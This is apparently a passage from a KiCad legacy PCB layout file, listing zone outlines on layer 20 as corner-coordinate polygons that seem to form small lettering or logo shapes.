28950 0 0\n57226 28942 0 0\n57224 28934 0 0\n57226 28925 0 0\n57227 28916 0 0\n57229 28908 0 0\n57231 28899 0 0\n57235 28871 0 0\n57237 28869 0 0\n57238 28869 0 0\n57239 28868 0 0\n57258 28793 0 0\n57286 28739 0 0\n57324 28705 0 0\n57372 28692 0 0\n57408 28708 0 0\n57422 28752 0 0\n57414 28822 0 0\n57384 28918 0 0\n57368 28946 0 0\n57360 28959 0 0\n57352 28973 0 0\n57344 28978 0 0\n57326 28988 0 0\n57317 28992 0 0\n57278 28992 0 0\n57278 29035 0 0\n57350 29028 0 0\n57409 28982 0 0\n57450 28898 0 0\n57473 28774 0 0\n57435 28690 0 0\n57383 28653 0 0\n57318 28663 0 0\n57239 28719 0 0\n57184 28844 0 0\n57172 28939 0 0\n57202 29003 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660018 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57970 28824 0\nZCorner 57982 28826 0\nZCorner 57995 28828 0\nZCorner 58007 28830 0\nZCorner 58020 28832 0\nZCorner 58006 28927 0\nZCorner 57991 29022 0\nZCorner 57976 29117 0\nZCorner 57962 29211 0\nZCorner 57952 29210 0\nZCorner 57942 29209 0\nZCorner 57932 29208 0\nZCorner 57923 29207 0\nZCorner 57896 29165 0\nZCorner 57870 29132 0\nZCorner 57845 29108 0\nZCorner 57821 29094 0\nZCorner 57823 29083 0\nZCorner 57825 29071 0\nZCorner 57827 29059 0\nZCorner 57829 29047 0\nZCorner 57848 29054 0\nZCorner 57869 29067 0\nZCorner 57890 29087 0\nZCorner 57911 29114 0\nZCorner 57914 29107 0\nZCorner 57917 29100 0\nZCorner 57920 29093 0\nZCorner 57923 29086 0\nZCorner 57935 29021 0\nZCorner 57946 28955 0\nZCorner 57958 28890 0\nZCorner 57970 28824 1\n$POLYSCORNERS\n57962 29211 0 0\n57976 29117 0 0\n58006 28927 0 0\n58020 28832 0 0\n58007 28830 0 0\n57995 28828 0 0\n57982 28826 0 0\n57970 28824 0 0\n57958 28890 0 0\n57946 28955 0 0\n57935 29021 0 0\n57923 29086 0 0\n57911 29114 0 0\n57890 29087 0 0\n57869 29067 0 0\n57848 29054 0 0\n57829 29047 0 0\n57823 29083 0 0\n57821 29094 0 0\n57845 29108 0 0\n57870 29132 0 0\n57896 29165 0 0\n57923 29207 0 0\n57932 29208 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660019 0 \"\"\nZLayer 20\nZAux 37 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 58149 29145 0\nZCorner 58148 29132 0\nZCorner 58147 29120 0\nZCorner 58146 29107 0\nZCorner 58146 29094 0\nZCorner 58168 29109 0\nZCorner 58190 29123 0\nZCorner 58213 29138 0\nZCorner 58235 29153 0\nZCorner 58237 29152 0\nZCorner 58239 29151 0\nZCorner 58241 29150 0\nZCorner 58243 29149 0\nZCorner 58243 29143 0\nZCorner 58243 29137 0\nZCorner 58243 29131 0\nZCorner 58243 29125 0\nZCorner 58248 29059 0\nZCorner 58253 28993 0\nZCorner 58258 28926 0\nZCorner 58263 28860 0\nZCorner 58276 28861 0\nZCorner 58290 28862 0\nZCorner 58304 28863 0\nZCorner 58318 28864 0\nZCorner 58312 28960 0\nZCorner 58306 29057 0\nZCorner 58300 29154 0\nZCorner 58294 29250 0\nZCorner 58285 29250 0\nZCorner 58277 29250 0\nZCorner 58268 29250 0\nZCorner 58259 29250 0\nZCorner 58232 29213 0\nZCorner 58204 29183 0\nZCorner 58176 29161 0\nZCorner 58149 29145 1\n$POLYSCORNERS\n58294 29250 0 0\n58300 29154 0 0\n58312 28960 0 0\n58318 28864 0 0\n58276 28861 0 0\n58263 28860 0 0\n58258 28926 0 0\n58253 28993 0 0\n58243 29125 0 0\n58243 29149 0 0\n58235 29153 0 0\n58213 29138 0 0\n58190 29123 0 0\n58168 29109 0 0\n58146 29094 0 0\n58146 29107 0 0\n58147 29120 0 0\n58148 29132 0 0\n58149 29145 0 0\n58176 29161 0 0\n58204 29183 0 0\n58232 29213 0 0\n58259 29250 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001A 0 \"\"\nZLayer 20\nZAux 66 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 57766 28844 0\nZCorner 57767 28848 0\nZCorner 57768 28852 0\nZCorner 57769 28856 0\nZCorner 57770 28860 0\nZCorner 57754 28986 0\nZCorner 57718 29074 0\nZCorner 57662 29123 0\nZCorner 57587 29133 0\nZCorner 57519 29112 0\nZCorner 57487 29055 0\nZCorner 57490 28961 0\nZCorner 57528 28832 0\nZCorner 57590 28765 0\nZCorner 57650 28744 0\nZCorner 57710 28769 0\nZCorner 57767 28840 0\nZCorner 57767 28841 0\nZCorner 57767 28842 0\nZCorner 57767 28843 0\nZCorner 57766 28844 1\nZCorner 57563 28871 0\nZCorner 57560 28881 0\nZCorner 57558 28891 0\nZCorner 57555 28901 0\nZCorner 57552 28910 0\nZCorner 57551 28911 0\nZCorner 57550 28912 0\nZCorner 57549 28913 0\nZCorner 57548 28914 0\nZCorner 57547 28929 0\nZCorner 57546 28944 0\nZCorner 57545 28958 0\nZCorner 57544 28973 0\nZCorner 57543 28973 0\nZCorner 57542 28973 0\nZCorner 57541 28973 0\nZCorner 57540 28973 0\nZCorner 57540 28979 0\nZCorner 57540 28985 0\nZCorner 57540 28990 0\nZCorner 57540 28996 0\nZCorner 57535 29035 0\nZCorner 57544 29065 0\nZCorner 57567 29086 0\nZCorner 57606 29098 0\nZCorner 57618 29093 0\nZCorner 57630 29088 0\nZCorner 57641 29083 0\nZCorner 57653 29078 0\nZCorner 57658 29072 0\nZCorner 57663 29065 0\nZCorner 57668 29058 0\nZCorner 57673 29051 0\nZCorner 57675 29044 0\nZCorner 57677 29037 0\nZCorner 57679 29031 0\nZCorner 57681 29024 0\nZCorner 57706 28954 0\nZCorner 57716 28894 0\nZCorner 57711 28844 0\nZCorner 57692 28805 0\nZCorner 57653 28787 0\nZCorner 57619 28793 0\nZCorner 57589 28821 0\nZCorner 57563 28871 1\n$POLYSCORNERS\n57587 29133 0 0\n57606 29130 0 0\n57606 29098 0 0\n57567 29086 0 0\n57544 29065 0 0\n57535 29035 0 0\n57540 28996 0 0\n57540 28973 0 0\n57544 28973 0 0\n57545 28958 0 0\n57546 28944 0 0\n57548 28914 0 0\n57552 28910 0 0\n57555 28901 0 0\n57558 28891 0 0\n57560 28881 0 0\n57563 28871 0 0\n57589 28821 0 0\n57619 28793 0 0\n57653 28787 0 0\n57692 28805 0 0\n57711 28844 0 0\n57716 28894 0 0\n57706 28954 0 0\n57681 29024 0 0\n57679 29031 0 0\n57677 29037 0 0\n57673 29051 0 0\n57658 29072 0 0\n57653 29078 0 0\n57641 29083 0 0\n57630 29088 0 0\n57606 29098 0 0\n57606 29130 0 0\n57662 29123 0 0\n57718 29074 0 0\n57754 28986 0 0\n57770 28860 0 0\n57766 28844 0 0\n57767 28843 0 0\n57767 28840 0 0\n57710 28769 0 0\n57650 28744 0 0\n57590 28765 0 0\n57528 28832 0 0\n57490 28961 0 0\n57487 29055 0 0\n57519 29112 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001B 0 \"\"\nZLayer 20\nZAux 54 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59817 28684 0\nZCorner 59823 28601 0\nZCorner 59861 28553 0\nZCorner 59929 28540 0\nZCorner 60028 28563 0\nZCorner 60096 28673 0\nZCorner 60127 28763 0\nZCorner 60118 28834 0\nZCorner 60071 28887 0\nZCorner 59975 28897 0\nZCorner 59902 28868 0\nZCorner 59850 28802 0\nZCorner 59821 28700 0\nZCorner 59820 28698 0\nZCorner 59819 28696 0\nZCorner 59818 28694 0\nZCorner 59817 28692 0\nZCorner 59817 28690 0\nZCorner 59817 28688 0\nZCorner 59817 28686 0\nZCorner 59817 28684 1\nZCorner 60059 28735 0\nZCorner 60019 28646 0\nZCorner 59978 28591 0\nZCorner 59935 28568 0\nZCorner 59891 28579 0\nZCorner 59871 28633 0\nZCorner 59871 28690 0\nZCorner 59892 28752 0\nZCorner 59934 28817 0\nZCorner 59939 28824 0\nZCorner 59944 28830 0\nZCorner 59949 28837 0\nZCorner 59953 28844 0\nZCorner 59962 28849 0\nZCorner 59971 28854 0\nZCorner 59980 28859 0\nZCorner 59989 28864 0\nZCorner 60002 28862 0\nZCorner 60016 28860 0\nZCorner 60030 28858 0\nZCorner 60043 28856 0\nZCorner 60052 28844 0\nZCorner 60061 28832 0\nZCorner 60070 28821 0\nZCorner 60078 28809 0\nZCorner 60076 28792 0\nZCorner 60074 28776 0\nZCorner 60073 28759 0\nZCorner 60071 28743 0\nZCorner 60068 28741 0\nZCorner 60065 28739 0\nZCorner 60062 28737 0\nZCorner 60059 28735 1\n$POLYSCORNERS\n59975 28897 0 0\n59989 28895 0 0\n59989 28864 0 0\n59953 28844 0 0\n59949 28837 0 0\n59944 28830 0 0\n59939 28824 0 0\n59934 28817 0 0\n59892 28752 0 0\n59871 28690 0 0\n59871 28633 0 0\n59891 28579 0 0\n59935 28568 0 0\n59978 28591 0 0\n60019 28646 0 0\n60059 28735 0 0\n60071 28743 0 0\n60073 28759 0 0\n60074 28776 0 0\n60076 28792 0 0\n60078 28809 0 0\n60070 28821 0 0\n60061 28832 0 0\n60043 28856 0 0\n60030 28858 0 0\n60002 28862 0 0\n59989 28864 0 0\n59989 28895 0 0\n60071 28887 0 0\n60118 28834 0 0\n60127 28763 0 0\n60096 28673 0 0\n60028 28563 0 0\n59929 28540 0 0\n59861 28553 0 0\n59823 28601 0 0\n59817 28684 0 0\n59817 28692 0 0\n59821 28700 0 0\n59850 28802 0 0\n59902 28868 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001C 0 \"\"\nZLayer 20\nZAux 66 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59743 28684 0\nZCorner 59743 28686 0\nZCorner 59743 28688 0\nZCorner 59743 28690 0\nZCorner 59743 28692 0\nZCorner 59746 28694 0\nZCorner 59748 28696 0\nZCorner 59751 28698 0\nZCorner 59754 28700 0\nZCorner 59811 28834 0\nZCorner 59830 28934 0\nZCorner 59811 28998 0\nZCorner 59754 29028 0\nZCorner 59661 29022 0\nZCorner 59593 28982 0\nZCorner 59550 28908 0\nZCorner 59532 28801 0\nZCorner 59551 28713 0\nZCorner 59593 28663 0\nZCorner 59657 28654 0\nZCorner 59743 28684 1\nZCorner 59688 28704 0\nZCorner 59680 28701 0\nZCorner 59672 28698 0\nZCorner 59665 28695 0\nZCorner 59657 28692 0\nZCorner 59608 28707 0\nZCorner 59583 28742 0\nZCorner 59583 28797 0\nZCorner 59606 28872 0\nZCorner 59613 28888 0\nZCorner 59620 28905 0\nZCorner 59627 28922 0\nZCorner 59633 28938 0\nZCorner 59639 28947 0\nZCorner 59645 28956 0\nZCorner 59651 28964 0\nZCorner 59657 28973 0\nZCorner 59665 28978 0\nZCorner 59672 28983 0\nZCorner 59680 28988 0\nZCorner 59688 28993 0\nZCorner 59701 28992 0\nZCorner 59713 28991 0\nZCorner 59726 28990 0\nZCorner 59739 28989 0\nZCorner 59749 28979 0\nZCorner 59758 28969 0\nZCorner 59768 28959 0\nZCorner 59778 28950 0\nZCorner 59779 28937 0\nZCorner 59780 28924 0\nZCorner 59781 28912 0\nZCorner 59782 28899 0\nZCorner 59779 28894 0\nZCorner 59776 28889 0\nZCorner 59773 28884 0\nZCorner 59770 28879 0\nZCorner 59756 28844 0\nZCorner 59743 28809 0\nZCorner 59729 28774 0\nZCorner 59715 28739 0\nZCorner 59708 28730 0\nZCorner 59702 28721 0\nZCorner 59695 28712 0\nZCorner 59688 28704 1\n$POLYSCORNERS\n59754 29028 0 0\n59811 28998 0 0\n59830 28934 0 0\n59811 28834 0 0\n59754 28700 0 0\n59748 28696 0 0\n59746 28694 0 0\n59743 28692 0 0\n59743 28684 0 0\n59657 28654 0 0\n59593 28663 0 0\n59551 28713 0 0\n59532 28801 0 0\n59550 28908 0 0\n59593 28982 0 0\n59661 29022 0 0\n59688 29023 0 0\n59688 28993 0 0\n59672 28983 0 0\n59665 28978 0 0\n59657 28973 0 0\n59651 28964 0 0\n59645 28956 0 0\n59633 28938 0 0\n59627 28922 0 0\n59613 28888 0 0\n59606 28872 0 0\n59583 28797 0 0\n59583 28742 0 0\n59608 28707 0 0\n59657 28692 0 0\n59665 28695 0 0\n59672 28698 0 0\n59688 28704 0 0\n59695 28712 0 0\n59702 28721 0 0\n59708 28730 0 0\n59715 28739 0 0\n59743 28809 0 0\n59756 28844 0 0\n59770 28879 0 0\n59782 28899 0 0\n59781 28912 0 0\n59780 28924 0 0\n59778 28950 0 0\n59768 28959 0 0\n59758 28969 0 0\n59749 28979 0 0\n59739 28989 0 0\n59713 28991 0 0\n59701 28992 0 0\n59688 28993 0 0\n59688 29023 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001D 0 \"\"\nZLayer 20\nZAux 37 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59379 28747 0\nZCorner 59406 28838 0\nZCorner 59432 28930 0\nZCorner 59458 29022 0\nZCorner 59485 29114 0\nZCorner 59476 29116 0\nZCorner 59467 29118 0\nZCorner 59459 29120 0\nZCorner 59450 29122 0\nZCorner 59428 29105 0\nZCorner 59397 29089 0\nZCorner 59357 29075 0\nZCorner 59309 29063 0\nZCorner 59307 29052 0\nZCorner 59305 29041 0\nZCorner 59303 29031 0\nZCorner 59301 29020 0\nZCorner 59328 29027 0\nZCorner 59354 29034 0\nZCorner 59380 29040 0\nZCorner 59407 29047 0\nZCorner 59408 29047 0\nZCorner 59409 29047 0\nZCorner 59410 29047 0\nZCorner 59411 29047 0\nZCorner 59410 29040 0\nZCorner 59409 29034 0\nZCorner 59408 29027 0\nZCorner 59407 29020 0\nZCorner 59388 28954 0\nZCorner 59370 28889 0\nZCorner 59351 28824 0\nZCorner 59332 28758 0\nZCorner 59344 28755 0\nZCorner 59356 28752 0\nZCorner 59368 28749 0\nZCorner 59379 28747 1\n$POLYSCORNERS\n59450 29122 0 0\n59459 29120 0 0\n59467 29118 0 0\n59485 29114 0 0\n59458 29022 0 0\n59406 28838 0 0\n59379 28747 0 0\n59368 28749 0 0\n59332 28758 0 0\n59351 28824 0 0\n59370 28889 0 0\n59388 28954 0 0\n59407 29020 0 0\n59409 29034 0 0\n59410 29040 0 0\n59411 29047 0 0\n59407 29047 0 0\n59380 29040 0 0\n59354 29034 0 0\n59328 29027 0 0\n59301 29020 0 0\n59303 29031 0 0\n59305 29041 0 0\n59309 29063 0 0\n59357 29075 0 0\n59397 29089 0 0\n59428 29105 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001E 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59043 28824 0\nZCorner 59055 28823 0\nZCorner 59067 28821 0\nZCorner 59079 28819 0\nZCorner 59090 28817 0\nZCorner 59108 28911 0\nZCorner 59125 29006 0\nZCorner 59143 29101 0\nZCorner 59160 29196 0\nZCorner 59151 29197 0\nZCorner 59141 29197 0\nZCorner 59131 29198 0\nZCorner 59121 29199 0\nZCorner 59100 29175 0\nZCorner 59071 29155 0\nZCorner 59034 29138 0\nZCorner 58989 29125 0\nZCorner 58987 29113 0\nZCorner 58985 29102 0\nZCorner 58983 29090 0\nZCorner 58981 29078 0\nZCorner 59007 29087 0\nZCorner 59033 29096 0\nZCorner 59060 29105 0\nZCorner 59086 29113 0\nZCorner 59087 29108 0\nZCorner 59088 29102 0\nZCorner 59089 29096 0\nZCorner 59090 29090 0\nZCorner 59078 29024 0\nZCorner 59067 28957 0\nZCorner 59055 28891 0\nZCorner 59043 28824 1\n$POLYSCORNERS\n59121 29199 0 0\n59141 29197 0 0\n59151 29197 0 0\n59160 29196 0 0\n59143 29101 0 0\n59125 29006 0 0\n59108 28911 0 0\n59090 28817 0 0\n59079 28819 0 0\n59055 28823 0 0\n59043 28824 0 0\n59055 28891 0 0\n59067 28957 0 0\n59078 29024 0 0\n59090 29090 0 0\n59087 29108 0 0\n59086 29113 0 0\n59060 29105 0 0\n59033 29096 0 0\n58981 29078 0 0\n58985 29102 0 0\n58987 29113 0 0\n58989 29125 0 0\n59034 29138 0 0\n59071 29155 0 0\n59100 29175 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66001F 0 \"\"\nZLayer 20\nZAux 62 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60356 28395 0\nZCorner 60345 28298 0\nZCorner 60371 28238 0\nZCorner 60436 28214 0\nZCorner 60539 28227 0\nZCorner 60632 28328 0\nZCorner 60675 28416 0\nZCorner 60670 28490 0\nZCorner 60617 28551 0\nZCorner 60544 28570 0\nZCorner 60476 28551 0\nZCorner 60414 28493 0\nZCorner 60356 28395 1\nZCorner 60617 28489 0\nZCorner 60620 28477 0\nZCorner 60623 28465 0\nZCorner 60626 28454 0\nZCorner 60629 28442 0\nZCorner 60623 28430 0\nZCorner 60617 28419 0\nZCorner 60612 28407 0\nZCorner 60606 28395 0\nZCorner 60553 28318 0\nZCorner 60505 28268 0\nZCorner 60462 28245 0\nZCorner 60422 28247 0\nZCorner 60415 28254 0\nZCorner 60408 28260 0\nZCorner 60402 28267 0\nZCorner 60395 28274 0\nZCorner 60393 28280 0\nZCorner 60391 28286 0\nZCorner 60389 28292 0\nZCorner 60387 28297 0\nZCorner 60387 28307 0\nZCorner 60387 28317 0\nZCorner 60387 28327 0\nZCorner 60387 28336 0\nZCorner 60404 28365 0\nZCorner 60420 28393 0\nZCorner 60437 28421 0\nZCorner 60453 28450 0\nZCorner 60461 28458 0\nZCorner 60469 28467 0\nZCorner 60477 28476 0\nZCorner 60485 28485 0\nZCorner 60486 28486 0\nZCorner 60487 28487 0\nZCorner 60487 28488 0\nZCorner 60488 28489 0\nZCorner 60498 28496 0\nZCorner 60508 28504 0\nZCorner 60518 28512 0\nZCorner 60527 28520 0\nZCorner 60540 28521 0\nZCorner 60553 28522 0\nZCorner 60566 28523 0\nZCorner 60578 28524 0\nZCorner 60588 28515 0\nZCorner 60598 28506 0\nZCorner 60608 28497 0\nZCorner 60617 28489 1\n$POLYSCORNERS\n60544 28570 0 0\n60578 28561 0 0\n60578 28524 0 0\n60566 28523 0 0\n60527 28520 0 0\n60518 28512 0 0\n60498 28496 0 0\n60488 28489 0 0\n60487 28488 0 0\n60487 28487 0 0\n60485 28485 0 0\n60461 28458 0 0\n60453 28450 0 0\n60437 28421 0 0\n60420 28393 0 0\n60404 28365 0 0\n60387 28336 0 0\n60387 28297 0 0\n60389 28292 0 0\n60395 28274 0 0\n60402 28267 0 0\n60408 28260 0 0\n60415 28254 0 0\n60422 28247 0 0\n60462 28245 0 0\n60505 28268 0 0\n60553 28318 0 0\n60606 28395 0 0\n60612 28407 0 0\n60617 28419 0 0\n60623 28430 0 0\n60629 28442 0 0\n60626 28454 0 0\n60623 28465 0 0\n60617 28489 0 0\n60608 28497 0 0\n60578 28524 0 0\n60578 28561 0 0\n60617 28551 0 0\n60670 28490 0 0\n60675 28416 0 0\n60632 28328 0 0\n60539 28227 0 0\n60436 28214 0 0\n60371 28238 0 0\n60345 28298 0 0\n60356 28395 0 0\n60414 28493 0 0\n60476 28551 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660020 0 \"\"\nZLayer 20\nZAux 78 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60750 28016 0\nZCorner 60754 28019 0\nZCorner 60758 28020 0\nZCorner 60764 28022 0\nZCorner 60770 28024 0\nZCorner 60802 28055 0\nZCorner 60834 28087 0\nZCorner 60866 28118 0\nZCorner 60899 28149 0\nZCorner 60916 28178 0\nZCorner 60923 28213 0\nZCorner 60918 28253 0\nZCorner 60902 28297 0\nZCorner 60847 28354 0\nZCorner 60779 28361 0\nZCorner 60700 28318 0\nZCorner 60609 28223 0\nZCorner 60599 28206 0\nZCorner 60589 28188 0\nZCorner 60581 28169 0\nZCorner 60574 28149 0\nZCorner 60573 28138 0\nZCorner 60572 28128 0\nZCorner 60571 28117 0\nZCorner 60570 28106 0\nZCorner 60597 28052 0\nZCorner 60635 28019 0\nZCorner 60686 28007 0\nZCorner 60750 28016 1\nZCorner 60879 28231 0\nZCorner 60872 28217 0\nZCorner 60865 28204 0\nZCorner 60858 28190 0\nZCorner 60852 28176 0\nZCorner 60850 28175 0\nZCorner 60848 28174 0\nZCorner 60846 28173 0\nZCorner 60844 28172 0\nZCorner 60844 28172 0\nZCorner 60844 28171 0\nZCorner 60844 28170 0\nZCorner 60844 28169 0\nZCorner 60840 28165 0\nZCorner 60836 28161 0\nZCorner 60832 28157 0\nZCorner 60828 28153 0\nZCorner 60759 28080 0\nZCorner 60701 28049 0\nZCorner 60656 28058 0\nZCorner 60621 28106 0\nZCorner 60623 28120 0\nZCorner 60625 28134 0\nZCorner 60627 28147 0\nZCorner 60629 28161 0\nZCorner 60648 28184 0\nZCorner 60666 28208 0\nZCorner 60685 28231 0\nZCorner 60703 28255 0\nZCorner 60713 28263 0\nZCorner 60723 28270 0\nZCorner 60732 28278 0\nZCorner 60742 28286 0\nZCorner 60755 28294 0\nZCorner 60768 28302 0\nZCorner 60780 28310 0\nZCorner 60793 28317 0\nZCorner 60804 28316 0\nZCorner 60814 28315 0\nZCorner 60825 28314 0\nZCorner 60836 28313 0\nZCorner 60843 28308 0\nZCorner 60850 28302 0\nZCorner 60856 28296 0\nZCorner 60863 28290 0\nZCorner 60867 28275 0\nZCorner 60871 28261 0\nZCorner 60875 28246 0\nZCorner 60879 28231 1\n$POLYSCORNERS\n60779 28361 0 0\n60793 28359 0 0\n60793 28317 0 0\n60780 28310 0 0\n60768 28302 0 0\n60742 28286 0 0\n60732 28278 0 0\n60723 28270 0 0\n60713 28263 0 0\n60703 28255 0 0\n60685 28231 0 0\n60666 28208 0 0\n60648 28184 0 0\n60629 28161 0 0\n60627 28147 0 0\n60625 28134 0 0\n60621 28106 0 0\n60656 28058 0 0\n60701 28049 0 0\n60759 28080 0 0\n60828 28153 0 0\n60844 28169 0 0\n60844 28172 0 0\n60852 28176 0 0\n60858 28190 0 0\n60865 28204 0 0\n60872 28217 0 0\n60879 28231 0 0\n60871 28261 0 0\n60867 28275 0 0\n60863 28290 0 0\n60856 28296 0 0\n60850 28302 0 0\n60843 28308 0 0\n60836 28313 0 0\n60814 28315 0 0\n60804 28316 0 0\n60793 28317 0 0\n60793 28359 0 0\n60847 28354 0 0\n60902 28297 0 0\n60918 28253 0 0\n60923 28213 0 0\n60916 28178 0 0\n60899 28149 0 0\n60866 28118 0 0\n60834 28087 0 0\n60802 28055 0 0\n60770 28024 0 0\n60758 28020 0 0\n60754 28019 0 0\n60750 28016 0 0\n60686 28007 0 0\n60635 28019 0 0\n60597 28052 0 0\n60570 28106 0 0\n60572 28128 0 0\n60573 28138 0 0\n60574 28149 0 0\n60581 28169 0 0\n60589 28188 0 0\n60599 28206 0 0\n60609 28223 0 0\n60700 28318 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660021 0 \"\"\nZLayer 20\nZAux 33 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 60149 28403 0\nZCorner 60159 28397 0\nZCorner 60170 28391 0\nZCorner 60181 28385 0\nZCorner 60192 28379 0\nZCorner 60243 28458 0\nZCorner 60295 28536 0\nZCorner 60347 28614 0\nZCorner 60399 28692 0\nZCorner 60393 28698 0\nZCorner 60387 28704 0\nZCorner 60381 28709 0\nZCorner 60375 28715 0\nZCorner 60337 28703 0\nZCorner 60298 28697 0\nZCorner 60258 28694 0\nZCorner 60215 28696 0\nZCorner 60209 28687 0\nZCorner 60204 28678 0\nZCorner 60198 28669 0\nZCorner 60192 28661 0\nZCorner 60219 28659 0\nZCorner 60247 28657 0\nZCorner 60274 28655 0\nZCorner 60301 28653 0\nZCorner 60298 28647 0\nZCorner 60295 28641 0\nZCorner 60292 28635 0\nZCorner 60290 28629 0\nZCorner 60254 28573 0\nZCorner 60219 28516 0\nZCorner 60184 28459 0\nZCorner 60149 28403 1\n$POLYSCORNERS\n60375 28715 0 0\n60381 28709 0 0\n60387 28704 0 0\n60399 28692 0 0\n60243 28458 0 0\n60192 28379 0 0\n60159 28397 0 0\n60149 28403 0 0\n60184 28459 0 0\n60254 28573 0 0\n60290 28629 0 0\n60292 28635 0 0\n60301 28653 0 0\n60247 28657 0 0\n60219 28659 0 0\n60192 28661 0 0\n60198 28669 0 0\n60204 28678 0 0\n60209 28687 0 0\n60215 28696 0 0\n60258 28694 0 0\n60298 28697 0 0\n60337 28703 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660022 0 \"\"\nZLayer 20\nZAux 82 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 58665 28887 0\nZCorner 58668 28883 0\nZCorner 58672 28879 0\nZCorner 58676 28875 0\nZCorner 58680 28871 0\nZCorner 58694 28867 0\nZCorner 58708 28862 0\nZCorner 58721 28857 0\nZCorner 58735 28852 0\nZCorner 58744 28852 0\nZCorner 58753 28852 0\nZCorner 58761 28852 0\nZCorner 58770 28852 0\nZCorner 58782 28857 0\nZCorner 58794 28862 0\nZCorner 58805 28867 0\nZCorner 58817 28871 0\nZCorner 58828 28883 0\nZCorner 58839 28895 0\nZCorner 58849 28907 0\nZCorner 58860 28918 0\nZCorner 58887 29050 0\nZCorner 58886 29148 0\nZCorner 58858 29212 0\nZCorner 58801 29242 0\nZCorner 58709 29237 0\nZCorner 58649 29190 0\nZCorner 58620 29102 0\nZCorner 58622 28973 0\nZCorner 58623 28970 0\nZCorner 58624 28967 0\nZCorner 58625 28964 0\nZCorner 58626 28961 0\nZCorner 58626 28960 0\nZCorner 58626 28959 0\nZCorner 58626 28958 0\nZCorner 58626 28957 0\nZCorner 58636 28940 0\nZCorner 58645 28922 0\nZCorner 58655 28905 0\nZCorner 58665 28887 1\nZCorner 58786 29207 0\nZCorner 58794 29201 0\nZCorner 58803 29194 0\nZCorner 58812 29187 0\nZCorner 58821 29180 0\nZCorner 58823 29175 0\nZCorner 58825 29170 0\nZCorner 58827 29165 0\nZCorner 58829 29161 0\nZCorner 58830 29149 0\nZCorner 58831 29137 0\nZCorner 58832 29125 0\nZCorner 58833 29114 0\nZCorner 58833 29112 0\nZCorner 58833 29110 0\nZCorner 58833 29108 0\nZCorner 58833 29106 0\nZCorner 58833 29103 0\nZCorner 58834 29100 0\nZCorner 58835 29097 0\nZCorner 58836 29094 0\nZCorner 58825 28987 0\nZCorner 58801 28919 0\nZCorner 58766 28889 0\nZCorner 58719 28899 0\nZCorner 58689 28931 0\nZCorner 58674 28981 0\nZCorner 58674 29048 0\nZCorner 58688 29133 0\nZCorner 58694 29147 0\nZCorner 58700 29161 0\nZCorner 58706 29174 0\nZCorner 58711 29188 0\nZCorner 58715 29190 0\nZCorner 58719 29192 0\nZCorner 58723 29194 0\nZCorner 58727 29196 0\nZCorner 58742 29199 0\nZCorner 58756 29202 0\nZCorner 58771 29204 0\nZCorner 58786 29207 1\n$POLYSCORNERS\n58801 29242 0 0\n58858 29212 0 0\n58886 29148 0 0\n58887 29050 0 0\n58860 28918 0 0\n58849 28907 0 0\n58839 28895 0 0\n58817 28871 0 0\n58805 28867 0 0\n58794 28862 0 0\n58770 28852 0 0\n58735 28852 0 0\n58721 28857 0 0\n58708 28862 0 0\n58694 28867 0 0\n58680 28871 0 0\n58668 28883 0 0\n58665 28887 0 0\n58655 28905 0 0\n58645 28922 0 0\n58636 28940 0 0\n58626 28957 0 0\n58626 28961 0 0\n58622 28973 0 0\n58620 29102 0 0\n58649 29190 0 0\n58709 29237 0 0\n58786 29241 0 0\n58786 29207 0 0\n58771 29204 0 0\n58756 29202 0 0\n58742 29199 0 0\n58727 29196 0 0\n58711 29188 0 0\n58706 29174 0 0\n58700 29161 0 0\n58688 29133 0 0\n58674 29048 0 0\n58674 28981 0 0\n58689 28931 0 0\n58719 28899 0 0\n58766 28889 0 0\n58801 28919 0 0\n58825 28987 0 0\n58836 29094 0 0\n58833 29103 0 0\n58833 29114 0 0\n58832 29125 0 0\n58829 29161 0 0\n58827 29165 0 0\n58821 29180 0 0\n58794 29201 0 0\n58786 29207 0 0\n58786 29241 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660023 0 \"\"\nZLayer 20\nZAux 62 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59524 22541 0\nZCorner 59524 22540 0\nZCorner 59524 22539 0\nZCorner 